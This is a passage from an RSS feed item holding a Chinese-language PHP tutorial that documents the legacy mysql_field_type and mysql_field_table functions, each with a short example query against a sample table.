string mysql_field_type (resource result_set, int field_offset)<br />
例：<br />
$query = &ldquo;select id, name from MyTable order by name&rdquo;;<br />
$result = mysql_query($query);<br />
$row = mysql_fetch_row($result);<br />
echo mysql_field_type($result, 0); // Result: int</p>
<p>25、mysql_field_table()-获取字段所在表名<br />
格式：<br />
string mysql_field_table (resource result_set, int field_offset)<br />
例：<br />
$query = &ldquo;select id as PKID, name from MyTable order by name&rdquo;;<br />
$result = mysql_query($query);<br />
$row = mysql_fetch_row($result);<br />
echo mysql_field_table($result, 0); // Result: MyTable</p>]]></description>
		</item>
		
</channel>
</rss>
